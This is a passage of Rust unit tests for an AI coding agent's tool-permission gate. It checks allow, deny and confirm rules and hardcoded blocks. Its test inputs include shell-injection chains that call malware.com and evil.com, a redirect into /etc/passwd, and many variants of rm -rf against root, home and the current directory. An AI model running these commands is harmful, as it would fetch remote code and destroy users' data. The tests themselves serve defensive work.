.deny(&["bad"])
|
|
.is_deny();
|
|
}
|
|
|
|
// no patterns -> default
|
|
#[test]
|
|
fn default_confirm() {
|
|
t("python x.py")
|
|
.mode(ToolPermissionMode::Confirm)
|
|
.is_confirm();
|
|
}
|
|
#[test]
|
|
fn default_allow() {
|
|
t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
|
|
}
|
|
#[test]
|
|
fn default_deny() {
|
|
t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
|
|
}
|
|
// Tool-specific default takes precedence over global default
|
|
#[test]
|
|
fn tool_default_deny_overrides_global_allow() {
|
|
t("python x.py")
|
|
.mode(ToolPermissionMode::Deny)
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
}
|
|
|
|
// Tool-specific default takes precedence over global default
|
|
#[test]
|
|
fn tool_default_confirm_overrides_global_allow() {
|
|
t("x")
|
|
.mode(ToolPermissionMode::Confirm)
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn no_rules_uses_global_default() {
|
|
assert_eq!(
|
|
no_rules("x", ToolPermissionMode::Confirm),
|
|
ToolPermissionDecision::Confirm
|
|
);
|
|
assert_eq!(
|
|
no_rules("x", ToolPermissionMode::Allow),
|
|
ToolPermissionDecision::Allow
|
|
);
|
|
assert!(matches!(
|
|
no_rules("x", ToolPermissionMode::Deny),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn empty_input_no_match() {
|
|
t("")
|
|
.deny(&["rm"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn empty_input_with_allow_falls_to_default() {
|
|
t("").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn multi_deny_any_match() {
|
|
t("rm x").deny(&["rm", "del", "drop"]).is_deny();
|
|
t("drop x").deny(&["rm", "del", "drop"]).is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn multi_allow_any_match() {
|
|
t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
|
|
}
|
|
#[test]
|
|
fn multi_none_match() {
|
|
t("python x")
|
|
.allow(&["^cargo", "^npm"])
|
|
.deny(&["rm"])
|
|
.is_confirm();
|
|
}
|
|
|
|
// tool isolation
|
|
#[test]
|
|
fn other_tool_not_affected() {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(TerminalTool::NAME),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Deny),
|
|
always_allow: vec![],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
tools.insert(
|
|
Arc::from(EditFileTool::NAME),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Allow),
|
|
always_allow: vec![],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
let p = ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
};
|
|
assert!(matches!(
|
|
ToolPermissionDecision::from_input(
|
|
TerminalTool::NAME,
|
|
&["x".to_string()],
|
|
&p,
|
|
ShellKind::Posix
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
assert_eq!(
|
|
ToolPermissionDecision::from_input(
|
|
EditFileTool::NAME,
|
|
&["x".to_string()],
|
|
&p,
|
|
ShellKind::Posix
|
|
),
|
|
ToolPermissionDecision::Allow
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn partial_tool_name_no_match() {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from("term"),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Deny),
|
|
always_allow: vec![],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
let p = ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
};
|
|
// "terminal" should not match "term" rules, so falls back to Confirm (no rules)
|
|
assert_eq!(
|
|
ToolPermissionDecision::from_input(
|
|
TerminalTool::NAME,
|
|
&["x".to_string()],
|
|
&p,
|
|
ShellKind::Posix
|
|
),
|
|
ToolPermissionDecision::Confirm
|
|
);
|
|
}
|
|
|
|
// invalid patterns block the tool
|
|
#[test]
|
|
fn invalid_pattern_blocks() {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(TerminalTool::NAME),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Allow),
|
|
always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![InvalidRegexPattern {
|
|
pattern: "[bad".into(),
|
|
rule_type: "always_deny".into(),
|
|
error: "err".into(),
|
|
}],
|
|
},
|
|
);
|
|
let p = ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
};
|
|
// Invalid patterns block the tool regardless of other settings
|
|
assert!(matches!(
|
|
ToolPermissionDecision::from_input(
|
|
TerminalTool::NAME,
|
|
&["echo hi".to_string()],
|
|
&p,
|
|
ShellKind::Posix
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_double_ampersand_not_allowed() {
|
|
t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_semicolon_not_allowed() {
|
|
t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_pipe_not_allowed() {
|
|
t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_backticks_not_allowed() {
|
|
t("echo `wget malware.com`")
|
|
.allow(&[pattern("echo")])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_dollar_parens_not_allowed() {
|
|
t("echo $(wget malware.com)")
|
|
.allow(&[pattern("echo")])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_or_operator_not_allowed() {
|
|
t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_background_operator_not_allowed() {
|
|
t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_newline_not_allowed() {
|
|
t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_process_substitution_input_not_allowed() {
|
|
t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_via_process_substitution_output_not_allowed() {
|
|
t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_without_spaces_not_allowed() {
|
|
t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
|
|
t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_multiple_chained_operators_not_allowed() {
|
|
t("ls && echo hello && wget malware.com")
|
|
.allow(&["^ls"])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_mixed_operators_not_allowed() {
|
|
t("ls; echo hello && wget malware.com")
|
|
.allow(&["^ls"])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn shell_injection_pipe_stderr_not_allowed() {
|
|
t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn allow_requires_all_commands_to_match() {
|
|
t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn dev_null_redirect_does_not_cause_false_negative() {
|
|
// Redirects to /dev/null are known-safe and should be skipped during
|
|
// command extraction, so they don't prevent auto-allow from matching.
|
|
t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
|
|
.allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn redirect_to_real_file_still_causes_confirm() {
|
|
// Redirects to real files (not /dev/null) should still be included in
|
|
// the extracted commands, so they prevent auto-allow when unmatched.
|
|
t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn pipe_does_not_cause_false_negative_when_all_commands_match() {
|
|
// A piped command like `echo "y\ny" | git add -p file` produces two commands:
|
|
// "echo y\ny" and "git add -p file". Both should match their respective allow
|
|
// patterns, so the overall command should be auto-allowed.
|
|
t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
|
|
.allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn deny_triggers_on_any_matching_command() {
|
|
t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn deny_catches_injected_command() {
|
|
t("ls && rm -rf ./temp")
|
|
.allow(&["^ls"])
|
|
.deny(&["^rm"])
|
|
.is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn confirm_triggers_on_any_matching_command() {
|
|
t("ls && sudo reboot")
|
|
.allow(&["^ls"])
|
|
.confirm(&["^sudo"])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn always_allow_button_works_end_to_end() {
|
|
// This test verifies that the "Always Allow" button behavior works correctly:
|
|
// 1. User runs a command like "cargo build --release"
|
|
// 2. They click "Always Allow for `cargo build` commands"
|
|
// 3. The pattern extracted should match future "cargo build" commands
|
|
// but NOT other cargo subcommands like "cargo test"
|
|
let original_command = "cargo build --release";
|
|
let extracted_pattern = pattern(original_command);
|
|
|
|
// The extracted pattern should allow the original command
|
|
t(original_command).allow(&[extracted_pattern]).is_allow();
|
|
|
|
// It should allow other "cargo build" invocations with different flags
|
|
t("cargo build").allow(&[extracted_pattern]).is_allow();
|
|
t("cargo build --features foo")
|
|
.allow(&[extracted_pattern])
|
|
.is_allow();
|
|
|
|
// But NOT other cargo subcommands — the pattern is subcommand-specific
|
|
t("cargo test").allow(&[extracted_pattern]).is_confirm();
|
|
t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
|
|
|
|
// Hyphenated extensions of the subcommand should not match either
|
|
// (e.g. cargo plugins like "cargo build-foo")
|
|
t("cargo build-foo")
|
|
.allow(&[extracted_pattern])
|
|
.is_confirm();
|
|
t("cargo builder").allow(&[extracted_pattern]).is_confirm();
|
|
|
|
// But not commands with different base commands
|
|
t("npm install").allow(&[extracted_pattern]).is_confirm();
|
|
|
|
// Chained commands: all must match the pattern
|
|
t("cargo build && cargo build --release")
|
|
.allow(&[extracted_pattern])
|
|
.is_allow();
|
|
|
|
// But reject if any subcommand doesn't match
|
|
t("cargo build && npm install")
|
|
.allow(&[extracted_pattern])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn always_allow_button_works_without_subcommand() {
|
|
// When the second token is a flag (e.g. "ls -la"), the extracted pattern
|
|
// should only include the command name, not the flag.
|
|
let original_command = "ls -la";
|
|
let extracted_pattern = pattern(original_command);
|
|
|
|
// The extracted pattern should allow the original command
|
|
t(original_command).allow(&[extracted_pattern]).is_allow();
|
|
|
|
// It should allow other invocations of the same command
|
|
t("ls").allow(&[extracted_pattern]).is_allow();
|
|
t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
|
|
|
|
// But not different commands
|
|
t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
|
|
|
|
// Chained commands: all must match
|
|
t("ls -la && ls /tmp")
|
|
.allow(&[extracted_pattern])
|
|
.is_allow();
|
|
t("ls -la && cat file.txt")
|
|
.allow(&[extracted_pattern])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn nested_command_substitution_all_checked() {
|
|
t("echo $(cat $(whoami).txt)")
|
|
.allow(&["^echo", "^cat", "^whoami"])
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn parse_failure_falls_back_to_confirm() {
|
|
t("ls &&").allow(&["^ls$"]).is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn mcp_tool_default_modes() {
|
|
t("")
|
|
.tool("mcp:fs:read")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("")
|
|
.tool("mcp:bad:del")
|
|
.mode(ToolPermissionMode::Deny)
|
|
.is_deny();
|
|
t("")
|
|
.tool("mcp:gh:issue")
|
|
.mode(ToolPermissionMode::Confirm)
|
|
.is_confirm();
|
|
t("")
|
|
.tool("mcp:gh:issue")
|
|
.mode(ToolPermissionMode::Confirm)
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn mcp_doesnt_collide_with_builtin() {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(TerminalTool::NAME),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Deny),
|
|
always_allow: vec![],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
tools.insert(
|
|
Arc::from("mcp:srv:terminal"),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Allow),
|
|
always_allow: vec![],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
let p = ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
};
|
|
assert!(matches!(
|
|
ToolPermissionDecision::from_input(
|
|
TerminalTool::NAME,
|
|
&["x".to_string()],
|
|
&p,
|
|
ShellKind::Posix
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
assert_eq!(
|
|
ToolPermissionDecision::from_input(
|
|
"mcp:srv:terminal",
|
|
&["x".to_string()],
|
|
&p,
|
|
ShellKind::Posix
|
|
),
|
|
ToolPermissionDecision::Allow
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn case_insensitive_by_default() {
|
|
t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
|
|
t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn case_sensitive_allow() {
|
|
t("cargo test")
|
|
.allow_case_sensitive(&[pattern("cargo")])
|
|
.is_allow();
|
|
t("CARGO TEST")
|
|
.allow_case_sensitive(&[pattern("cargo")])
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn case_sensitive_deny() {
|
|
t("rm -rf ./temp")
|
|
.deny_case_sensitive(&[pattern("rm")])
|
|
.is_deny();
|
|
t("RM -RF ./temp")
|
|
.deny_case_sensitive(&[pattern("rm")])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn nushell_allows_with_allow_pattern() {
|
|
t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn nushell_allows_deny_patterns() {
|
|
t("rm -rf ./temp")
|
|
.deny(&["rm\\s+-rf"])
|
|
.shell(ShellKind::Nushell)
|
|
.is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn nushell_allows_confirm_patterns() {
|
|
t("sudo reboot")
|
|
.confirm(&["sudo"])
|
|
.shell(ShellKind::Nushell)
|
|
.is_confirm();
|
|
}
|
|
|
|
#[test]
|
|
fn nushell_no_allow_patterns_uses_default() {
|
|
t("ls")
|
|
.deny(&["rm"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.shell(ShellKind::Nushell)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn elvish_allows_with_allow_pattern() {
|
|
t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn rc_allows_with_allow_pattern() {
|
|
t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn multiple_invalid_patterns_pluralizes_message() {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(TerminalTool::NAME),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Allow),
|
|
always_allow: vec![],
|
|
always_deny: vec![],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![
|
|
InvalidRegexPattern {
|
|
pattern: "[bad1".into(),
|
|
rule_type: "always_deny".into(),
|
|
error: "err1".into(),
|
|
},
|
|
InvalidRegexPattern {
|
|
pattern: "[bad2".into(),
|
|
rule_type: "always_allow".into(),
|
|
error: "err2".into(),
|
|
},
|
|
],
|
|
},
|
|
);
|
|
let p = ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
};
|
|
|
|
let result = ToolPermissionDecision::from_input(
|
|
TerminalTool::NAME,
|
|
&["echo hi".to_string()],
|
|
&p,
|
|
ShellKind::Posix,
|
|
);
|
|
match result {
|
|
ToolPermissionDecision::Deny(msg) => {
|
|
assert!(
|
|
msg.contains("2 regex patterns"),
|
|
"Expected '2 regex patterns' in message, got: {}",
|
|
msg
|
|
);
|
|
}
|
|
other => panic!("Expected Deny, got {:?}", other),
|
|
}
|
|
}
|
|
|
|
// always_confirm patterns on non-terminal tools
|
|
#[test]
|
|
fn always_confirm_works_for_file_tools() {
|
|
t("sensitive.env")
|
|
.tool(EditFileTool::NAME)
|
|
.confirm(&["sensitive"])
|
|
.is_confirm();
|
|
|
|
t("normal.txt")
|
|
.tool(EditFileTool::NAME)
|
|
.confirm(&["sensitive"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
|
|
t("/etc/config")
|
|
.tool(DeletePathTool::NAME)
|
|
.confirm(&["/etc/"])
|
|
.is_confirm();
|
|
|
|
t("/home/user/safe.txt")
|
|
.tool(DeletePathTool::NAME)
|
|
.confirm(&["/etc/"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
|
|
t("https://secret.internal.com/api")
|
|
.tool(FetchTool::NAME)
|
|
.confirm(&["secret\\.internal"])
|
|
.is_confirm();
|
|
|
|
t("https://public.example.com/api")
|
|
.tool(FetchTool::NAME)
|
|
.confirm(&["secret\\.internal"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
|
|
// confirm on non-terminal tools still beats allow
|
|
t("sensitive.env")
|
|
.tool(EditFileTool::NAME)
|
|
.allow(&["sensitive"])
|
|
.confirm(&["\\.env$"])
|
|
.is_confirm();
|
|
|
|
// confirm on non-terminal tools is still beaten by deny
|
|
t("sensitive.env")
|
|
.tool(EditFileTool::NAME)
|
|
.confirm(&["sensitive"])
|
|
.deny(&["\\.env$"])
|
|
.is_deny();
|
|
|
|
// global default allow does not bypass confirm on non-terminal tools
|
|
t("/etc/passwd")
|
|
.tool(EditFileTool::NAME)
|
|
.confirm(&["/etc/"])
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_confirm();
|
|
}
|
|
|
|
// Hardcoded security rules tests - these rules CANNOT be bypassed
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_rf_root() {
|
|
t("rm -rf /").is_deny();
|
|
t("rm -fr /").is_deny();
|
|
t("rm -RF /").is_deny();
|
|
t("rm -FR /").is_deny();
|
|
t("rm -r -f /").is_deny();
|
|
t("rm -f -r /").is_deny();
|
|
t("RM -RF /").is_deny();
|
|
t("rm /").is_deny();
|
|
// Long flags
|
|
t("rm --recursive --force /").is_deny();
|
|
t("rm --force --recursive /").is_deny();
|
|
// Extra short flags
|
|
t("rm -rfv /").is_deny();
|
|
t("rm -v -rf /").is_deny();
|
|
// Glob wildcards
|
|
t("rm -rf /*").is_deny();
|
|
t("rm -rf /* ").is_deny();
|
|
// End-of-options marker
|
|
t("rm -rf -- /").is_deny();
|
|
t("rm -- /").is_deny();
|
|
// Prefixed with sudo or other commands
|
|
t("sudo rm -rf /").is_deny();
|
|
t("sudo rm -rf /*").is_deny();
|
|
t("sudo rm -rf --no-preserve-root /").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_rf_home() {
|
|
t("rm -rf ~").is_deny();
|
|
t("rm -fr ~").is_deny();
|
|
t("rm -rf ~/").is_deny();
|
|
t("rm -rf $HOME").is_deny();
|
|
t("rm -fr $HOME").is_deny();
|
|
t("rm -rf $HOME/").is_deny();
|
|
t("rm -rf ${HOME}").is_deny();
|
|
t("rm -rf ${HOME}/").is_deny();
|
|
t("rm -RF $HOME").is_deny();
|
|
t("rm -FR ${HOME}/").is_deny();
|
|
t("rm -R -F ${HOME}/").is_deny();
|
|
t("RM -RF ~").is_deny();
|
|
// Long flags
|
|
t("rm --recursive --force ~").is_deny();
|
|
t("rm --recursive --force ~/").is_deny();
|
|
t("rm --recursive --force $HOME").is_deny();
|
|
t("rm --force --recursive ${HOME}/").is_deny();
|
|
// Extra short flags
|
|
t("rm -rfv ~").is_deny();
|
|
t("rm -v -rf ~/").is_deny();
|
|
// Glob wildcards
|
|
t("rm -rf ~/*").is_deny();
|
|
t("rm -rf $HOME/*").is_deny();
|
|
t("rm -rf ${HOME}/*").is_deny();
|
|
// End-of-options marker
|
|
t("rm -rf -- ~").is_deny();
|
|
t("rm -rf -- ~/").is_deny();
|
|
t("rm -rf -- $HOME").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_rf_home_with_traversal() {
|
|
// Path traversal after $HOME / ${HOME} should still be blocked
|
|
t("rm -rf $HOME/./").is_deny();
|
|
t("rm -rf $HOME/foo/..").is_deny();
|
|
t("rm -rf ${HOME}/.").is_deny();
|
|
t("rm -rf ${HOME}/./").is_deny();
|
|
t("rm -rf $HOME/a/b/../..").is_deny();
|
|
t("rm -rf ${HOME}/foo/bar/../..").is_deny();
|
|
// Subdirectories should NOT be blocked
|
|
t("rm -rf $HOME/subdir")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf ${HOME}/Documents")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_rf_dot() {
|
|
t("rm -rf .").is_deny();
|
|
t("rm -fr .").is_deny();
|
|
t("rm -rf ./").is_deny();
|
|
t("rm -rf ..").is_deny();
|
|
t("rm -fr ..").is_deny();
|
|
t("rm -rf ../").is_deny();
|
|
t("rm -RF .").is_deny();
|
|
t("rm -FR ../").is_deny();
|
|
t("rm -R -F ../").is_deny();
|
|
t("RM -RF .").is_deny();
|
|
t("RM -RF ..").is_deny();
|
|
// Long flags
|
|
t("rm --recursive --force .").is_deny();
|
|
t("rm --force --recursive ../").is_deny();
|
|
// Extra short flags
|
|
t("rm -rfv .").is_deny();
|
|
t("rm -v -rf ../").is_deny();
|
|
// Glob wildcards
|
|
t("rm -rf ./*").is_deny();
|
|
t("rm -rf ../*").is_deny();
|
|
// End-of-options marker
|
|
t("rm -rf -- .").is_deny();
|
|
t("rm -rf -- ../").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_cannot_be_bypassed_by_global() {
|
|
// Even with global default Allow, hardcoded rules block
|
|
t("rm -rf /")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf ~")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf $HOME")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf .")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf ..")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
|
|
// Even with an allow pattern that matches, hardcoded rules block
|
|
t("rm -rf /").allow(&[".*"]).is_deny();
|
|
t("rm -rf $HOME").allow(&[".*"]).is_deny();
|
|
t("rm -rf .").allow(&[".*"]).is_deny();
|
|
t("rm -rf ..").allow(&[".*"]).is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_allows_safe_rm() {
|
|
// rm -rf on a specific path should NOT be blocked
|
|
t("rm -rf ./build")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf /tmp/test")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf ~/Documents")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf $HOME/Documents")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf ../some_dir")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf .hidden_dir")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rfv ./build")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm --recursive --force ./build")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_checks_chained_commands() {
|
|
// Hardcoded rules should catch dangerous commands in chains
|
|
t("ls && rm -rf /").is_deny();
|
|
t("echo hello; rm -rf ~").is_deny();
|
|
t("cargo build && rm -rf /")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("echo hello; rm -rf $HOME").is_deny();
|
|
t("echo hello; rm -rf .").is_deny();
|
|
t("echo hello; rm -rf ..").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_with_extra_flags() {
|
|
// Extra flags like -v, -i should not bypass the security rules
|
|
t("rm -rfv /").is_deny();
|
|
t("rm -v -rf /").is_deny();
|
|
t("rm -rfi /").is_deny();
|
|
t("rm -rfv ~").is_deny();
|
|
t("rm -rfv ~/").is_deny();
|
|
t("rm -rfv $HOME").is_deny();
|
|
t("rm -rfv .").is_deny();
|
|
t("rm -rfv ./").is_deny();
|
|
t("rm -rfv ..").is_deny();
|
|
t("rm -rfv ../").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_with_long_flags() {
|
|
t("rm --recursive --force /").is_deny();
|
|
t("rm --force --recursive /").is_deny();
|
|
t("rm --recursive --force ~").is_deny();
|
|
t("rm --recursive --force ~/").is_deny();
|
|
t("rm --recursive --force $HOME").is_deny();
|
|
t("rm --recursive --force .").is_deny();
|
|
t("rm --recursive --force ..").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_with_glob_star() {
|
|
// rm -rf /* is equally catastrophic to rm -rf /
|
|
t("rm -rf /*").is_deny();
|
|
t("rm -rf ~/*").is_deny();
|
|
t("rm -rf $HOME/*").is_deny();
|
|
t("rm -rf ${HOME}/*").is_deny();
|
|
t("rm -rf ./*").is_deny();
|
|
t("rm -rf ../*").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_extra_flags_allow_safe_rm() {
|
|
// Extra flags on specific paths should NOT be blocked
|
|
t("rm -rfv ~/somedir")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rfv /tmp/test")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm --recursive --force ./build")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_does_not_block_words_containing_rm() {
|
|
// Words like "storm", "inform" contain "rm" but should not be blocked
|
|
t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
|
|
t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
|
|
t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_with_trailing_flags() {
|
|
// GNU rm accepts flags after operands by default
|
|
t("rm / -rf").is_deny();
|
|
t("rm / -fr").is_deny();
|
|
t("rm / -RF").is_deny();
|
|
t("rm / -r -f").is_deny();
|
|
t("rm / --recursive --force").is_deny();
|
|
t("rm / -rfv").is_deny();
|
|
t("rm /* -rf").is_deny();
|
|
// Mixed: some flags before path, some after
|
|
t("rm -r / -f").is_deny();
|
|
t("rm -f / -r").is_deny();
|
|
// Home
|
|
t("rm ~ -rf").is_deny();
|
|
t("rm ~/ -rf").is_deny();
|
|
t("rm ~ -r -f").is_deny();
|
|
t("rm $HOME -rf").is_deny();
|
|
t("rm ${HOME} -rf").is_deny();
|
|
// Dot / dotdot
|
|
t("rm . -rf").is_deny();
|
|
t("rm ./ -rf").is_deny();
|
|
t("rm . -r -f").is_deny();
|
|
t("rm .. -rf").is_deny();
|
|
t("rm ../ -rf").is_deny();
|
|
t("rm .. -r -f").is_deny();
|
|
// Trailing flags in chained commands
|
|
t("ls && rm / -rf").is_deny();
|
|
t("echo hello; rm ~ -rf").is_deny();
|
|
// Safe paths with trailing flags should NOT be blocked
|
|
t("rm ./build -rf")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm /tmp/test -rf")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm ~/Documents -rf")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
